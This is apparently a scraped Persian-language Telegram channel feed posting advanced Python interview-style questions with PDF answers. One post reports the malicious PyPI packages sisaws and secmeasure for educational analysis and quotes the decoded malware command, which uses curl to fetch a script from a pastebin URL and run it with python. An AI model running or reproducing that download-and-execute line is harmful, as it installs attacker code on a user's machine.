Code Verse
🔍 تا حالا فکر کردی پشت پردهی ساخت کلاسها در پایتون چه جادویی وجود داره؟ در پایتون برای متاپروگرمینگ میتونیم از دکوریتور کلاس یا متاکلاس استفاده کنیم. هر دو اجازه میدن رفتار کلاس رو تغییر بدیم، ولی متاکلاسها یک لایه عمیقتر روی فرایند ساخت کلاس کنترل دارن.…
DecoratorvsMetaclass.pdf
418.1 KB
جواب سوال ۴ پایتون
تعداد صفحه: ۳
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۳
کلید واژهها:
Metaprogramming, Class Decorator, Metaclass, __prepare__, __new__#answer #python
🌌 @the_code_Verse 🪐
❤2👎1
5. چگونه یک coroutine را در asyncio به صورت امن لغو کنیم بدون اینکه exception نشت کند؟
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
❤1👎1
Code Verse
تا حالا فکر کردی لغو کردن یک coroutine توی asyncio چطوری میتونه امن باشه؟ 🤔 در پایتون وقتی یک coroutine رو داخل asyncio لغو میکنیم، اگه درست مدیریت نشه، استثناهایی مثل CancelledError میتونن از کنترل خارج بشن و باعث خطاهای پیشبینینشده در برنامه بشن. برای…
cancel_coroutine.pdf
370.2 KB
جواب سوال ۵ پایتون
تعداد صفحه: ۴
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۴
کلید واژهها:
coroutine, asyncio, worker, event loop, create_task, wait_for, TimeoutError, CancelledError, asyncio.shield, aiohttp#answer #python
🌌 @the_code_Verse 🪐
❤2👍1👎1
6. یک descriptor بساز که مقدار attribute را ذخیره کند، اما اگر مقدار تکراری وارد شود، خطا بدهد و cache هر instance را جدا نگه دارد.
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
👍2👎1
Code Verse
تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍 گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache…
custom_descriptor.pdf
386.6 KB
جواب سوال ۶ پایتون
تعداد صفحه: ۷
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۷
کلید واژهها:
descriptor, __get__, __set__, __delete__, data descriptor, non-data descriptor, cls.__dict__, obj.__dict__, lookup in instance.attr #answer #python
🌌 @the_code_Verse 🪐
❤2👎1
دوتا کتابخونه sisaws و secmeasure که هکرها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI
یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد
نکته:به هیچوجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.
کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.
#python #malware #code_analysis
🌌 @the_code_Verse 🪐
یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد
If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.
curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py
نکته:به هیچوجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.
کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.
#python #malware #code_analysis
🌌 @the_code_Verse 🪐
❤4
7. چگونه میتوان یک ماژول را طوری import کرد که قبل از دسترسی به آن، یک attribute اضافه شود؟
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
❤3👍1👎1
Code Verse
اگه موقع import کردن یه ماژول بتونی قبل از استفاده، ویژگی دلخواهت رو بهش بچسبونی چی؟ 🔥🐍 در پایتون فقط import ساده وجود نداره؛ میشه فرآیند import رو شخصیسازی کرد. مثلاً قبل از اینکه ماژول آماده استفاده بشه، میتونیم یک attribute جدید بهش اضافه کنیم تا بعد…
import_attribute.pdf
440.5 KB
جواب سوال ۷ پایتون
تعداد صفحه: ۵
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۵
کلید واژهها:
sys.modules, finders, loaders, Monkey patching, MetaPathFinder, Path hooks, PathEntryFinder, builtins.__import__, meta_path#answer #python
🌌 @the_code_Verse 🪐
👍4
8. چگونه Method Resolution Order (MRO) در چند ارثبری پیچیده محاسبه میشود؟ یک مثال با ۳ کلاس بده که super() غیرمنتظره عمل کند.
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
❤2👎1
Code Verse
تا حالا برات پیش اومده که توی چندارثبری پایتون، super() رفتارش عجیب بشه؟ 🌀🐍 در پایتون وقتی از چند ارثبری استفاده میکنیم، ترتیب جستجوی متدها با الگوریتمی به اسم MRO (Method Resolution Order) مشخص میشه. این ترتیب همیشه خطی و مشخصه، ولی توی ساختارهای پیچیده…
MRO.pdf
364.3 KB
جواب سوال ۸ پایتون
تعداد صفحه: ۶
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۶
کلید واژهها:
MRO, Method Resolution Order, diamond problem, C3 linearization#answer #python
🌌 @the_code_Verse 🪐
👍1
9. یک generator بساز که مقدار بگیرد (send) و وقتی عدد منفی فرستاده شد، exception پرتاب کند و ادامه دهد.
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
❤4👎1
Code Verse
چطور میشه یک generator ساخت که هم مقدار بگیره هم خطا مدیریت کنه؟ 😎 میخوایم یک generator بنویسیم که با send() مقدار دریافت کنه، و وقتی عدد منفی فرستاده شد، یک Exception پرتاب کنه ولی جریان ادامه پیدا کنه. این یعنی generator میتونه همزمان ورودی بگیره و خطاها…
generator.pdf
384.5 KB
جواب سوال ۹ پایتون
تعداد صفحه: ۴
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۴
کلید واژهها:
generator, next, send, yield, Ecception#answer #python
🌌 @the_code_Verse 🪐
❤1
10. چرا نمیتوان یک dictionary را مستقیماً به تابعی که
#question #python
🌌 @the_code_Verse 🪐
lru_cache@ دارد پاس داد؟ راه حل چیست؟#question #python
🌌 @the_code_Verse 🪐
👎1🔥1
Code Verse
چرا یه دیکشنری بیگناه نمیتونه وارد دنیای lru_cache بشه؟ 😎 چرا نمیتونیم یک dictionary را مستقیم به تابعی که lru_cache@ دارد پاس دهیم؟ دلیلش اینه که دیکشنریها غیرقابل هش هستند و lru_cache نمیتونه از اونها به عنوان کلید استفاده کنه. برای حل این مشکل، باید…
lru_cache.pdf
347.1 KB
جواب سوال ۱۰ پایتون
تعداد صفحه: ۴
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۴
کلید واژهها:
lru_cache, mutable, immutable, hashable, KeyError, frozenset, tuple, json, pickle, Dictionary unpacking#answer #python
🌌 @the_code_Verse 🪐
❤2
11. تفاوت دقیق بین new و init در کلاسها چیست؟ چه زمانی فقط new اجرا میشود و init نه؟
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
👍1👎1